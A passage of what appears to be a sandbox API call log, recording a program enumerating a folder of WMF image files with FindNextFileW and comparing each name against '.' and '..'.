dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18211_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18212_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18213_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18214_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18215_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18216_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18217_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18218_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18219_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18220_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18221_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18222_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18223_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18224_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18225_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18226_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18227_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18228_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18228_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18229_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18229_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18230_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18230_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18231_.WMF", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="..") returned 1 [0096.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0096.466] lstrcmpiW (lpString1="BD18232_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18233_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18234_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18235_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18236_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18237_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18238_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18239_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18241_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18242_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18243_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0096.467] lstrcmpiW (lpString1="BD18244_.WMF", lpString2=".") returned 1 [0096.467] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="..") returned 1 [0096.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18245_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18246_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18247_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18248_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, 